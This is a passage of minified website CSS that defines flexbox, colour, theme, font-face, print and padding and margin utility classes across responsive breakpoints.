auto!important}.lg--flex-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.lg--flex-self-auto{-ms-flex-item-align:auto!important;-ms-grid-row-align:auto!important;align-self:auto!important}.lg--flex-self-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.lg--flex-self-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.lg--flex-self-center{-ms-flex-item-align:center!important;-ms-grid-row-align:center!important;align-self:center!important}.lg--flex-self-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.lg--flex-self-stretch{-ms-flex-item-align:stretch!important;-ms-grid-row-align:stretch!important;align-self:stretch!important}.lg--flex-item-equal{-ms-flex-positive:1;flex-grow:1;-ms-flex-preferred-size:0;flex-basis:0}}*{box-sizing:border-box}::-moz-selection{background:#ddf1fa}::selection{background:#ddf1fa}input[type=date],input[type=time]{-webkit-appearance:none;-moz-appearance:none;appearance:none;display:-ms-flexbox;display:flex}body{position:relative}body>svg{position:absolute;width:0;height:0;opacity:0}.print-only{display:none}@media print{.print-only{display:block}.print-hidden{display:none!important}}@media print{@page{size:auto;margin:18mm 16mm 18mm 14mm}body{margin:0!important;padding:0!important;-webkit-print-color-adjust:exact;print-color-adjust:exact}*,:after,:before,:first-letter,blockquote:first-line,div:first-line,li:first-line,p:first-line{box-shadow:none!important;text-shadow:none!important}}hr{height:2px;width:100%;border:0;background-color:#f1f5f5}hr.padded{margin:20px 0!important}@media (min-width:650px){hr.padded{margin:30px 0!important}}@media (min-width:992px){hr.padded{margin:60px 0!important}}hr.well-s2s{margin-left:-20px!important;width:calc(100% + 40px)!important}@media (min-width:650px){hr.well-s2s{margin-left:-30px!important;width:calc(100% + 60px)!important}}@media (min-width:992px){hr.well-s2s{margin-left:-60px!important;width:calc(100% + 120px)!important}}input:focus{box-shadow:0 0 1px 2px #006ab3}.vertical-top{vertical-align:top!important}.vertical-bottom{vertical-align:bottom!important}.vertical-middle{vertical-align:middle!important}.theme-white{color:#3a3a3a}.bg-white,.theme-white{background-color:#fff!important}.color-white,.theme-black{color:#fff!important}.bg-black,.theme-black{background-color:#000!important}.color-black{color:#000!important}.color-turquoise-dark{color:#006e76!important}.color-turquoise{color:#008791!important}.color-turquoise-light{color:#bbe1e1!important}.color-turquoise-lightest{color:#ecf8f9!important}.bg-turquoise-dark{background-color:#006e76!important}.bg-turquoise{background-color:#008791!important}.bg-turquoise-light{background-color:#bbe1e1!important}.bg-turquoise-lightest{background-color:#ecf8f9!important}.theme-turquoise{background-color:#008791!important;color:#fff!important}.color-shade-dark{color:#3a3a3a!important}.color-shade{color:#8c8c8c!important}.color-shade-light{color:#dedede!important}.color-shade-lightest{color:#f1f5f5!important}.bg-shade-dark{background-color:#3a3a3a!important}.bg-shade{background-color:#8c8c8c!important}.bg-shade-light{background-color:#dedede!important}.bg-light,.bg-shade-lightest{background-color:#f1f5f5!important}.bg-athens-gray{background-color:#e3e3ec!important}.theme-light{background-color:#f1f5f5!important}.color-orange-dark{color:#d34d11!important}.color-orange{color:#d03802!important}.color-orange .empty{color:#dedede!important}.color-orange-light{color:#fcefe8!important}.bg-orange-dark{background-color:#d34d11!important}.bg-orange{background-color:#ea6022!important}.bg-orange-light{background-color:#fcefe8!important}.color-blue-darkest{color:#0f3054!important}.color-blue-dark{color:#1b3b6e!important}.color-blue{color:#006ab3!important}.color-blue-light{color:#ddf1fa!important}.color-blue-lightest{color:#eff6f9!important}.color-blue-slate{color:#4eaccc!important}.bg-blue-darkest{background-color:#0f3054!important}.bg-blue-dark{background-color:#1b3b6e!important}.bg-blue{background-color:#006ab3!important}.bg-blue-light{background-color:#ddf1fa!important}.bg-blue-lightest{background-color:#eff6f9!important}.bg-blue-slate,.theme-blue-slate{background-color:#4eaccc!important}.theme-blue-darkest,.theme-blue-slate{color:#fff!important}.theme-blue-darkest{background-color:#0f3054!important}.theme-blue-light{background-color:#ddf1fa!important;color:#1b3b6e!important}.theme-blue{background-color:#006ab3!important;color:#fff!important}.color-mustard-darkest{color:#a3a265!important}.color-mustard-dark{color:#d4d18f!important}.color-mustard{color:#efeb92!important}.color-red{color:red!important}.color-red .empty{color:#dedede!important}.bg-red{background-color:red!important}.color-orange-icon{color:#ff7a3d}.color-orange-icon .empty{color:#dedede!important}.bg-mustard-darkest{background-color:#a3a265!important}.bg-mustard-dark{background-color:#d4d18f!important}.bg-mustard{background-color:#efeb92!important}.color-yellow{color:#f8e81c!important}.color-yellow .empty{color:#dedede!important}.color-yellow-dark{color:#d6971a!important}.bg-yellow{background-color:#f8e81c!important}.color-orange-yellow{color:#f9c551!important}.color-orange-yellow .empty{color:#dedede!important}.bg-orange-yellow{background-color:#f9c551!important}.color-green-dark{color:#006616!important}.color-green{color:#56a600!important}.color-green .empty{color:#dedede!important}.color-green-light{color:#d5e9bf!important}.theme-green-dark{color:#fff!important}.bg-green-dark,.theme-green-dark{background-color:#006616!important}.bg-green{background-color:#56a600!important}.bg-green-light{background-color:#d5e9bf!important}.bg-green-slate,.theme-green-slate{background-color:#66ab94!important}.theme-green-slate{color:#fff!important}.color-olive{color:#a99408!important}.color-olive-light{color:#f6f5c0!important}.bg-olive{background-color:#a99408!important}.bg-olive-light{background-color:#f6f5c0!important}.color-fuchsia{color:#af237a!important}.bg-fuchsia{background-color:#af237a!important}.color-purple{color:#66469b!important}.color-purple-light{color:#a694c3!important}.bg-purple{background-color:#66469b!important}.bg-purple-light{background-color:#a694c3!important}.theme-purple{background-color:#66469b!important;color:#fff!important}.color-mauve{color:#af0060!important}.bg-mauve{background-color:#af0060!important}.theme-dark-transparent{background:rgba(58,58,58,.5)!important;color:#fff!important}.bg-yellow-dark{background-color:#d6971a!important}.yellow-dark{color:#d6971a!important}.bg-pink{background-color:#dc488d!important}.pink{color:#dc488d!important}.empty{color:#dedede!important}.theme-black a:not(.btn),.theme-blue-darkest a:not(.btn),.theme-blue a:not(.btn),.theme-dark-transparent a:not(.btn),.theme-green-dark a:not(.btn),.theme-purple a:not(.btn){color:#fff}.theme-black a:not(.btn):hover,.theme-blue-darkest a:not(.btn):hover,.theme-blue a:not(.btn):hover,.theme-dark-transparent a:not(.btn):hover,.theme-green-dark a:not(.btn):hover,.theme-purple a:not(.btn):hover{color:#f5f5f5}@font-face{font-family:Circular Std;src:url(../fonts/CircularStd-Book.woff2) format("woff2"),url(../fonts/CircularStd-Book.woff) format("woff");font-weight:400;font-style:normal}@font-face{font-family:Circular Std;src:url(../fonts/CircularStd-BookItalic.woff2) format("woff2"),url(../fonts/CircularStd-BookItalic.woff) format("woff");font-weight:400;font-style:italic}@font-face{font-family:Circular Std;src:url(../fonts/CircularStd-Medium.woff2) format("woff2"),url(../fonts/CircularStd-Medium.woff) format("woff");font-weight:500;font-style:normal}@font-face{font-family:Circular Std;src:url(../fonts/CircularStd-Bold.woff2) format("woff2"),url(../fonts/CircularStd-Bold.woff) format("woff");font-weight:700;font-style:normal}.clearfix:after,.clearfix:before{content:" ";display:table}.clearfix:after{clear:both}.pad-sm-0{padding-top:0!important;padding-bottom:0!important}.pad-full-sm-0{padding:0!important}.pad-top-sm-0{padding-top:0!important}.pad-bottom-sm-0{padding-bottom:0!important}.pad-left-sm-0{padding-left:0!important}.pad-right-sm-0{padding-right:0!important}.marg-sm-0{margin-top:0!important;margin-bottom:0!important}.marg-full-sm-0{margin:0!important}.marg-top-sm-0{margin-top:0!important}.marg-bottom-sm-0{margin-bottom:0!important}.marg-left-sm-0{margin-left:0!important}.marg-right-sm-0{margin-right:0!important}.pad-sm-10{padding-top:10px!important;padding-bottom:10px!important}.pad-full-sm-10{padding:10px!important}.pad-top-sm-10{padding-top:10px!important}.pad-bottom-sm-10{padding-bottom:10px!important}.pad-left-sm-10{padding-left:10px!important}.pad-right-sm-10{padding-right:10px!important}.marg-sm-10{margin-top:10px!important;margin-bottom:10px!important}.marg-full-sm-10{margin:10px!important}.marg-top-sm-10{margin-top:10px!important}.marg-bottom-sm-10{margin-bottom:10px!important}.marg-left-sm-10{margin-left:10px!important}.marg-right-sm-10{margin-right:10px!important}.pad-sm-20{padding-top:20px!important;padding-bottom:20px!important}.pad-full-sm-20{padding:20px!important}.pad-top-sm-20{padding-top:20px!important}.pad-bottom-sm-20{padding-bottom:20px!important}.pad-left-sm-20{padding-left:20px!important}.pad-right-sm-20{padding-right:20px!important}.marg-sm-20{margin-top:20px!important;margin-bottom:20px!important}.marg-full-sm-20{margin:20px!important}.marg-top-sm-20{margin-top:20px!important}.marg-bottom-sm-20{margin-bottom:20px!important}.marg-left-sm-20{margin-left:20px!important}.marg-right-sm-20{margin-right:20px!important}.pad-sm-30{padding-top:30px!important;padding-bottom:30px!important}.pad-full-sm-30{padding:30px!important}.pad-top-sm-30{padding-top:30px!important}.pad-bottom-sm-30{padding-bottom:30px!important}.pad-left-sm-30{padding-left:30px!important}.pad-right-sm-30{padding-right:30px!important}.marg-sm-30{margin-top:30px!important;margin-bottom:30px!important}.marg-full-sm-30{margin:30px!important}.marg-top-sm-30{margin-top:30px!important}.marg-bottom-sm-30{margin-bottom:30px!important}.marg-left-sm-30{margin-left:30px!important}.marg-right-sm-30{margin-right:30px!important}.pad-sm-40{padding-top:40px!important;padding-bottom:40px!important}.pad-full-sm-40{padding:40px!important}.pad-top-sm-40{padding-top:40px!important}.pad-bottom-sm-40{padding-bottom:40px!important}.pad-left-sm-40{padding-left:40px!important}.pad-right-sm-40{padding-right:40px!important}.marg-sm-40{margin-top:40px!important;margin-bottom:40px!important}.marg-full-sm-40{margin:40px!important}.marg-top-sm-40{margin-top:40px!important}.marg-bottom-sm-40{margin-bottom:40px!important}.marg-left-sm-40{margin-left:40px!important}.marg-right-sm-40{margin-right:40px!important}.pad-sm-50{padding-top:50px!important;padding-bottom:50px!important}.pad-full-sm-50{padding:50px!important}.pad-top-sm-50{padding-top:50px!important}.pad-bottom-sm-50{padding-bottom:50px!important}.pad-left-sm-50{padding-left:50px!important}.pad-right-sm-50{padding-right:50px!important}.marg-sm-50{margin-top:50px!important;margin-bottom:50px!important}.marg-full-sm-50{margin:50px!important}.marg-top-sm-50{margin-top:50px!important}.marg-bottom-sm-50{margin-bottom:50px!important}.marg-left-sm-50{margin-left:50px!important}.marg-right-sm-50{margin-right:50px!important}.pad-sm-60{padding-top:60px!important;padding-bottom:60px!important}.pad-full-sm-60{padding:60px!important}.pad-top-sm-60{padding-top:60px!important}.pad-bottom-sm-60{padding-bottom:60px!important}.pad-left-sm-60{padding-left:60px!important}.pad-right-sm-60{padding-right:60px!important}.marg-sm-60{margin-top:60px!important;margin-bottom:60px!important}.marg-full-sm-60{margin:60px!important}.marg-top-sm-60{margin-top:60px!important}.marg-bottom-sm-60{margin-bottom:60px!important}.marg-left-sm-60{margin-left:60px!important}.marg-right-sm-60{margin-right:60px!important}.pad-sm-70{padding-top:70px!important;padding-bottom:70px!important}.pad-full-sm-70{padding:70px!important}.pad-top-sm-70{padding-top:70px!important}.pad-bottom-sm-70{padding-bottom:70px!important}.pad-left-sm-70{padding-left:70px!important}.pad-right-sm-70{padding-right:70px!important}.marg-sm-70{margin-top:70px!important;margin-bottom:70px!important}.marg-full-sm-70{margin:70px!important}.marg-top-sm-70{margin-top:70px!important}.marg-bottom-sm-70{margin-bottom:70px!important}.marg-left-sm-70{margin-left:70px!important}.marg-right-sm-70{margin-right:70px!important}.pad-sm-80{padding-top:80px!important;padding-bottom:80px!important}.pad-full-sm-80{padding:80px!important}.pad-top-sm-80{padding-top:80px!important}.pad-bottom-sm-80{padding-bottom:80px!important}.pad-left-sm-80{padding-left:80px!important}.pad-right-sm-80{padding-right:80px!important}.marg-sm-80{margin-top:80px!important;margin-bottom:80px!important}.marg-full-sm-80{margin:80px!important}.marg-top-sm-80{margin-top:80px!important}.marg-bottom-sm-80{margin-bottom:80px!important}.marg-left-sm-80{margin-left:80px!important}.marg-right-sm-80{margin-right:80px!important}.pad-sm-90{padding-top:90px!important;padding-bottom:90px!important}.pad-full-sm-90{padding:90px!important}.pad-top-sm-90{padding-top:90px!important}.pad-bottom-sm-90{padding-bottom:90px!important}.pad-left-sm-90{padding-left:90px!important}.pad-right-sm-90{padding-right:90px!important}.marg-sm-90{margin-top:90px!important;margin-bottom:90px!important}.marg-full-sm-90{margin:90px!important}.marg-top-sm-90{margin-top:90px!important}.marg-bottom-sm-90{margin-bottom:90px!important}.marg-left-sm-90{margin-left:90px!important}.marg-right-sm-90{margin-right:90px!important}.pad-sm-100{padding-top:100px!important;padding-bottom:100px!important}.pad-full-sm-100{padding:100px!important}.pad-top-sm-100{padding-top:100px!important}.pad-bottom-sm-100{padding-bottom:100px!important}.pad-left-sm-100{padding-left:100px!important}.pad-right-sm-100{padding-right:100px!important}.marg-sm-100{margin-top:100px!important;margin-bottom:100px!important}.marg-full-sm-100{margin:100px!important}.marg-top-sm-100{margin-top:100px!important}.marg-bottom-sm-100{margin-bottom:100px!important}.marg-left-sm-100{margin-left:100px!important}.marg-right-sm-100{margin-right:100px!important}@media (min-width:650px){.pad-md-0{padding-top:0!important;padding-bottom:0!important}.pad-full-md-0{padding:0!important}.pad-top-md-0{padding-top:0!important}.pad-bottom-md-0{padding-bottom:0!important}.pad-left-md-0{padding-left:0!important}.pad-right-md-0{padding-right:0!important}.marg-md-0{margin-top:0!important;margin-bottom:0!important}.marg-full-md-0{margin:0!important}.marg-top-md-0{margin-top:0!important}.marg-bottom-md-0{margin-bottom:0!important}.marg-left-md-0{margin-left:0!important}.marg-right-md-0{margin-right:0!important}.pad-md-10{padding-top:10px!important;padding-bottom:10px!important}.pad-full-md-10{padding:10px!important}.pad-top-md-10{padding-top:10px!important}.pad-bottom-md-10{padding-bottom:10px!important}.pad-left-md-10{padding-left:10px!important}.pad-right-md-10{padding-right:10px!important}.marg-md-10{margin-top:10px!important;margin-bottom:10px!important}.marg-full-md-10{margin:10px!important}.marg-top-md-10{margin-top:10px!important}.marg-bottom-md-10{margin-bottom:10px!important}.marg-left-md-10{margin-left:10px!important}.marg-right-md-10{margin-right:10px!important}.pad-md-20{padding-top:20px!important;padding-bottom:20px!important}.pad-full-md-20{padding:20px!important}.pad-top-md-20{padding-top:20px!important}.pad-bottom-md-20{padding-bottom:20px!important}.pad-left-md-20{padding-left:20px!important}.pad-right-md-20{padding-right:20px!important}.marg-md-20{margin-top:20px!important;margin-bottom:20px!important}.marg-full-md-20{margin:20px!important}.marg-top-md-20{margin-top:20px!important}.marg-bottom-md-20{margin-bottom:20px!important}.marg-left-md-20{margin-left:20px!important}.marg-right-md-20{margin-right:20px!important}.pad-md-30{padding-top:30px!important;padding-bottom:30px!important}.pad-full-md-30{padding:30px!important}.pad-top-md-30{padding-top:30px!important}.pad-bottom-md-30{padding-bottom:30px!important}.pad-left-md-30{padding-left:30px!important}.pad-right-md-30{padding-right:30px!important}.marg-md-30{margin-top:30px!important;margin-bottom:30px!important}.marg-full-md-30{margin:30px!important}.marg-top-md-30{margin-top:30px!important}.marg-bottom-md-30{margin-bottom:30px!important}.marg-left-md-30{margin-left:30px!important}.marg-right-md-30{margin-right:30px!important}.pad-md-40{padding-top:40px!important;padding-bottom:40px!important}.pad-full-md-40{padding:40px!important}.pad-top-md-40{padding-top:40px!important}.pad-bottom-md-40{padding-bottom:40px!important}.pad-left-md-40{padding-left:40px!important}.pad-right-md-40{padding-right:40px!important}.marg-md-40{margin-top:40px!important;margin-bottom:40px!important}.marg-full-md-40{margin:40px!important}.marg-top-md-40{margin-top:40px!important}.marg-bottom-md-40{margin-bottom:40px!important}.marg-left-md-40{margin-left:40px!important}.marg-right-md-40{margin-right:40px!important}.pad-md-50{padding-top:50px!important;padding-bottom:50px!important}.pad-full-md-50{padding:50px!important}.pad-top-md-50{padding-top:50px!important}.pad-bottom-md-50{padding-bottom:50px!important}.pad-left-md-50{padding-left:50px!important}.pad-right-md-50{padding-right:50px!important}.marg-md-50{margin-top:50px!important;margin-bottom:50px!important}.marg-full-md-50{margin:50px!important}.marg-top-md-50{margin-top:50px!important}.marg-bottom-md-50{margin-bottom:50px!important}.marg-left-md-50{margin-left:50px!important}.marg-right-md-50{margin-right:50px!important}.pad-md-60{padding-top:60px!important;padding-bottom:60px!important}.pad-full-md-60{padding:60px!important}.pad-top-md-60{padding-top:60px!important}.pad-bottom-md-60{padding-bottom:60px!important}.pad-left-md-60{padding-left:60px!important}.pad-right-md-60{padding-right:60px!important}.marg-md-60{margin-top:60px!important;margin-bottom:60px!important}.marg-full-md-60{margin:60px!important}.marg-top-md-60{margin-top:60px!important}.marg-bottom-md-60{margin-bottom:60px!important}.marg-left-md-60{margin-left:60px!important}.marg-right-md-60{margin-right:60px!important}.pad-md-70{padding-top:70px!important;padding-bottom:70px!important}.pad-full-md-70{padding:70px!important}.pad-top-md-70{padding-top:70px!important}.pad-bottom-md-70{padding-bottom:70px!important}.pad-left-md-70{padding-left:70px!important}.pad-right-md-70{padding-right:70px!important}.marg-md-70{margin-top:70px!important;margin-bottom:70px!important}.marg-full-md-70{margin:70px!important}.marg-top-md-70{margin-top:70px!important}.marg-bottom-md-70{margin-bottom:70px!important}.marg-left-md-70{margin-left:70px!important}.marg-right-md-70{margin-right:70px!important}.pad-md-80{padding-top:80px!important;padding-bottom:80px!important}.pad-full-md-80{padding:80px!important}.pad-top-md-80{padding-top:80px!important}.pad-bottom-md-80{padding-bottom:80px!important}.pad-left-md-80{padding-left:80px!important}.pad-right-md-80{padding-right:80px!important}.marg-md-80{margin-top:80px!important;margin-bottom:80px!important}.marg-full-md-80{margin:80px!important}.marg-top-md-80{margin-top:80px!important}.marg-bottom-md-80{margin-bottom:80px!important}.marg-left-md-80{margin-left:80px!important}.marg-right-md-80{margin-right:80px!important}.pad-md-90{padding-top:90px!important;padding-bottom:90px!important}.pad-full-md-90{padding:90px!important}.pad-top-md-90{padding-top:90px!important}.pad-bottom-md-90{padding-bottom:90px!important}.pad-left-md-90{padding-left:90px!important}.pad-right-md-90{padding-right:90px!important}.marg-md-90{margin-top:90px!important;margin-bottom:90px!important}.marg-full-md-90{margin:90px!important}.marg-top-md-90{margin-top:90px!important}.marg-bottom-md-90{margin-bottom:90px!important}.marg-left-md-90{margin-left:90px!important}.marg-right-md-90{margin-right:90px!important}.pad-md-100{padding-top:100px!important;padding-bottom:100px!important}.pad-full-md-100{padding:100px!important}.pad-top-md-100{padding-top:100px!important}.pad-bottom-md-100{padding-bottom:100px!important}.pad-left-md-100{padding-left:100px!important}.pad-right-md-100{padding-right:100px!important}.marg-md-100{margin-top:100px!important;margin-bottom:100px!important}.marg-full-md-100{margin:100px!important}.marg-top-md-100{margin-top:100px!important}.marg-bottom-md-100{margin-bottom:100px!important}.marg-left-md-100{margin-left:100px!important}.marg-right-md-100{margin-right:100px!important}}@media (min-width:992px){.pad-lg-0{padding-top:0!important;padding-bottom:0!important}.pad-full-lg-0{padding:0!important}.pad-top-lg-0{padding-top:0!important}.pad-bottom-lg-0{padding-bottom:0!important}.pad-left-lg-0{padding-left:0!important}.pad-right-lg-0{padding-right:0!important}.marg-lg-0{margin-top:0!important;margin-bottom:0!important}.marg-full-lg-0{margin:0!important}.marg-top-lg-0{margin-top:0!important}.marg-bottom-lg-0{margin-bottom:0!important}.marg-left-lg-0{margin-left:0!important}.marg-right-lg-0{margin-right:0!important}.pad-lg-10{padding-top:10px!important;padding-bottom:10px!important}.pad-full-lg-10{padding:10px!important}.pad-top-lg-10{padding-top:10px!important}.pad-bottom-lg-10{padding-bottom:10px!important}.pad-left-lg-10{padding-left:10px!important}.pad-right-lg-10{padding-right:10px!important}.marg-lg-10{margin-top:10px!important;margin-bottom:10px!important}.marg-full-lg-10{margin:10px!important}.marg-top-lg-10{margin-top:10px!important}.marg-bottom-lg-10{margin-bottom:10px!important}.marg-left-lg-10{margin-left:10px!important}.marg-right-lg-10{margin-right:10px!important}.pad-lg-20{padding-top:20px!important;padding-bottom:20px!important}.pad-full-lg-20{padding:20px!important}.pad-top-lg-20{padding-top:20px!important}.pad-bottom-lg-20{padding-bottom:20px!important}.pad-left-lg-20{padding-left:20px!important}.pad-right-lg-20{padding-right:20px!important}.marg-lg-20{margin-top:20px!important;margin-bottom:20px!important}.marg-full-lg-20{margin:20px!important}.marg-top-lg-20{margin-top:20px!important}.marg-bottom-lg-20{margin-bottom:20px!important}.marg-left-lg-20{margin-left:20px!important}.marg-right-lg-20{margin-right:20px!important}.pad-lg-30{padding-top:30px!important;padding-bottom:30px!important}.pad-full-lg-30{padding:30px!important}.pad-top-lg-30{padding-top:30px!important}.pad-bottom-lg-30{padding-bottom:30px!important}.pad-left-lg-30{padding-left:30px!important}.pad-right-lg-30{padding-right:30px!important}.marg-lg-30{margin-top:30px!important;margin-bottom:30px!important}.marg-full-lg-30{margin:30px!important}.marg-top-lg-30{margin-top:30px!important}.marg-bottom-lg-30{margin-bottom:30px!important}.marg-left-lg-30{margin-left:30px!important}.marg-right-lg-30{margin-right:30px!important}.pad-lg-40{padding-top:40px!important;padding-bottom:40px!important}.pad-full-lg-40{padding:40px!important}.pad-top-lg-40{padding-top:40px!important}.pad-bottom-lg-40{padding-bottom:40px!important}.pad-left-lg-40{padding-left:40px!important}.pad-right-lg-40{padding-right:40px!important}.marg-lg-40{margin-top:40px!important;margin-bottom:40px!important}.marg-full-lg-40{margin:40px!important}.marg-top-lg-40{margin-top:40px!important}.marg-bottom-lg-40{margin-bottom:40px!important}.marg-left-lg-40{margin-left:40px!important}.marg-right-lg-40{margin-right:40px!important}.pad-lg-50{padding-top:50px!important;padding-bottom:50px!important}.pad-full-lg-50{padding:50px!important}.pad-top-lg-50{padding-top:50px!important}.pad-bottom-lg-50{padding-bottom:50px!important}.pad-left-lg-50{padding-left:50px!important}.pad-right-lg-50{padding-right:50px!important}.marg-lg-50{margin-top:50px!important;margin-bottom:50px!important}.marg-full-lg-50{margin:50px!important}.marg-top-lg-50{margin-top:50px!important}.marg-bottom-lg-50{margin-bottom:50px!important}.marg-left-lg-50{margin-left:50px!important}.marg-right-lg-50{margin-right:50px!important}.pad-lg-60{padding-top:60px!important;padding-bottom:60px!important}.pad-full-lg-60{padding:60px!important}.pad-top-lg-60{padding-top:60px!important}.pad-bottom-lg-60{padding-bottom:60px!important}.pad-left-lg-60{padding-left:60px!important}.pad-right-lg-60{padding-right:60px!important}.marg-lg-60{margin-top:60px!important;margin-bottom:60px!important}.marg-full-lg-60{margin:60px!important}.marg-top-lg-60{margin-top:60px!important}.marg-bottom-lg-60{margin-bottom:60px!important}.marg-left-lg-60{margin-left:60px!important}.marg-right-lg-60{margin-right:60px!important}.pad-lg-70{padding-top:70px!important;padding-bottom:70px!important}.pad-full-lg-70{padding:70px!important}.pad-top-lg-70{padding-top:70px!important}.pad-bottom-lg-70{padding-bottom:70px!important}.pad-left-lg-70{padding-left:70px!important}.pad-right-lg-70{padding-right:70px!important}.marg-lg-70{margin-top:70px!important;margin-bottom:70px!important}.marg-full-lg-70{margin:70px!important}.marg-top-lg-70{margin-top:70px!important}.marg-bottom-lg-70{margin-bottom:70px!important}.marg-left-lg-70{margin-left:70px!important}.marg-right-lg-70{margin-right:70px!important}.pad-lg-80{padding-top:80px!important;padding-bottom:80px!important}.pad-full-lg-80{padding:80px!important}.pad-top-lg-80{padding-top:80px!important}.pad-bottom-lg-80{padding-bottom:80px!important}.pad-left-lg-80{padding-left:80px!important}.pad-right-lg-80{padding-right:80px!important}.marg-lg-80{margin-top:80px!important;margin-bottom:80px!important}.marg-full-lg-80{margin:80px!important}.marg-top-lg-80{margin-top:80px!important}.marg-bottom-lg-80{margin-bottom:80px!important}.marg-left-lg-80{margin-left:80px!important}.marg-right-lg-80{margin-right:80px!important}.pad-lg-90{padding-top:90px!important;padding-bottom:90px!important}.pad-full-lg-90{padding:90px!important}.pad-top-lg-90{padding-top:90px!important}.pad-bottom-lg-90{padding-bottom:90px!important}.pad-left-lg-90{padding-left:90px!important}.pad-right-lg-90{padding-right:90px!important}.marg-lg-90{margin-top:90px!important;margin-bottom:90px!important}.marg-full-lg-90{margin:90px!important}.marg-top-lg-90{margin-top:90px!important}.marg-bottom-lg-90{margin-bottom:90px!important}.marg-left-lg-90{margin-left:90px!important}.marg-right-lg-90{margin-right:90px!important}.pad-lg-100{padding-top:100px!important;padding-bottom:100px!important}.pad-full-lg-100{padding:100px!important}.pad-top-lg-100{padding-top:100px!important}.pad-bottom-lg-100{padding-bottom:100px!important}.pad-left-lg-100{padding-left:100px!important}.pad-right-lg-100{padding-right:100px!important}.marg-lg-100{margin-top:100px!important;margin-bottom:100px!important}.marg-full-lg-100{margin:100px!important}.marg-top-lg-100{margin-top:100px!important}.marg-bottom-lg-100{margin-bottom:100px!important}.marg-left-lg-100{margin-left:100px!important}.marg-right-lg-100{margin-right:100px!important}}@media (min-width:1280px){.pad-xl-0{padding-top:0!important;padding-bottom:0!important}.pad-full-xl-0{padding:0!important}.pad-top-xl-0{padding-top:0!important}.pad-bottom-xl-0{padding-bottom:0!important}.pad-left-xl-0{padding-left:0!important}.pad-right-xl-0{padding-right:0!important}.marg-xl-0{margin-top:0!important;margin-bottom:0!important}.marg-full-xl-0{margin:0!important}.marg-top-xl-0{margin-top:0!important}.marg-bottom-xl-0{margin-bottom:0!important}.marg-left-xl-0{margin-left:0!important}.marg-right-xl-0{margin-right:0!important}.pad-xl-10{padding-top:10px!important;padding-bottom:10px!important}.pad-full-xl-10{padding:10px!important}.pad-top-xl-10{padding-top:10px!important}.pad-bottom-xl-10{padding-bottom:10px!important}.pad-left-xl-10{padding-left:10px!important}.pad-right-xl-10{padding-right:10px!important}.marg-xl-10{margin-top:10px!important;margin-bottom:10px!important}.marg-full-xl-10{margin:10px!important}.marg-top-xl-10{margin-top:10px!important}.marg-bottom-xl-10{margin-bottom:10px!important}.marg-left-xl-10{margin-left:10px!important}.marg-right-xl-10{margin-right:10px!important}.pad-xl-20{padding-top:20px!important;padding-bottom:20px!important}.pad-full-xl-20{padding:20px!important}.pad-top-xl-20{padding-top:20px!important}.pad-bottom-xl-20{padding-bottom:20px!important}.pad-left-xl-20{padding-left:20px!important}.pad-right-xl-20{padding-right:20px!important}.marg-xl-20{margin-top:20px!important;margin-bottom:20px!important}.marg-full-xl-20{margin:20px!important}.marg-top-xl-20{margin-top:20px!important}.marg-bottom-xl-20{margin-bottom:20px!important}.marg-left-xl-20{margin-left:20px!important}.marg-right-xl-20{margin-right:20px!important}.pad-xl-30{padding-top:30px!important;padding-bottom:30px!important}.pad-full-xl-30{padding:30px!important}.pad-top-xl-30{padding-top:30px!important}.pad-bottom-xl-30{padding-bottom:30px!important}.pad-left-xl-30{padding-left:30px!important}.pad-right-xl-30{padding-right:30px!important}.marg-xl-30{margin-top:30px!important;margin-bottom:30px!important}.marg-full-xl-30{margin:30px!important}.marg-top-xl-30{margin-top:30px!important}.marg-bottom-xl-30{margin-bottom:30px!important}.marg-left-xl-30{margin-left:30px!important}.marg-right-xl-30{margin-right:30px!important}.pad-xl-40{padding-top:40px!important;padding-bottom:40px!important}.pad-full-xl-40{padding:40px!important}.pad-top-xl-40{padding-top:40px!important}.pad-bottom-xl-40{padding-bottom:40px!important}.pad-left-xl-40{padding-left:40px!important}.pad-right-xl-40{padding-right:40px!important}.marg-xl-40{margin-top:40px!important;margin-bottom:40px!important}.marg-full-xl-40{margin:40px!important}.marg-top-xl-40{margin-top:40px!important}.marg-bottom-xl-40{margin-bottom:40px!important}.marg-left-xl-40{margin-left:40px!important}.marg-right-xl-40{margin-right:40px!important}.pad-xl-50{padding-top:50px!important;padding-bottom:50px!important}.pad-full-xl-50{padding:50px!important}.pad-top-xl-50{padding-top:50px!important}.pad-bottom-xl-50{padding-bottom:50px!important}.pad-left-xl-50{padding-left:50px!important}.pad-right-xl-50{padding-right:50px!important}.marg-xl-50{margin-top:50px!important;margin-bottom:50px!important}.marg-full-xl-50{margin:50px!important}.marg-top-xl-50{margin-top:50px!important}.marg-bottom-xl-50{margin-bottom:50px!important}.marg-left-xl-50{margin-left:50px!important}.marg-right-xl-50{margin-right:50px!important}.pad-xl-60{padding-top:60px!important;padding-bottom:60px!important}.pad-full-xl-60{padding:60px!important}.pad-top-xl-60{padding-top:60px!important}.pad-bottom-xl-60{padding-bottom:60px!important}.pad-left-xl-60{padding-left:60px!important}.pad-right-xl-60{padding-right:60px!important}.marg-xl-60{margin-top:60px!important;margin-bottom:60px!important}.marg-full-xl-60{margin:60px!important}.marg-top-xl-60{margin-top:60px!important}.marg-bottom-xl-60{margin-bottom:60px!important}.marg-left-xl-60{margin-left:60px!important}.marg-right-xl-60{margin-right:60px!important}.pad-xl-70{padding-top:70px!important;padding-bottom:70px!important}.pad-full-xl-70{padding:70px!important}.pad-top-xl-70{padding-top:70px!important}.pad-bottom-xl-70{padding-bottom:70px!important}.pad-left-xl-70{padding-left:70px!important}.pad-right-xl-70{padding-right:70px!important}.marg-xl-70{margin-top:70px!important;margin-bottom:70px!important}.marg-full-xl-70{margin:70px!important}.marg-top-xl-70{margin-top:70px!important}.marg-bottom-xl-70{margin-bottom:70px!important}.marg-left-xl-70{margin-left:70px!important}.marg-right-xl-70{margin-right:70px!important}.pad-xl-80{padding-top:80px!important;padding-bottom:80px!important}.pad-full-xl-80{padding:80px!important}.pad-top-xl-80{padding-top:80px!important}.pad-bottom-xl-80{padding-bottom:80px!important}.pad-left-xl-80{padding-left:80px!important}.pad-right-xl-80{padding-right:80px!important}.marg-xl-80{margin-top:80px!important;margin-bottom:80px!important}.marg-full-xl-80{margin:80px!important}.marg-top-xl-80{margin-top:80px!important}.marg-bottom-xl-80{margin-bottom:80px!important}.marg-left-xl-80{margin-left:80px!important}.marg-right-xl-80{margin-right:80px!important}.pad-xl-90{padding-top:90px!important;padding-bottom:90px!important}.pad-full-x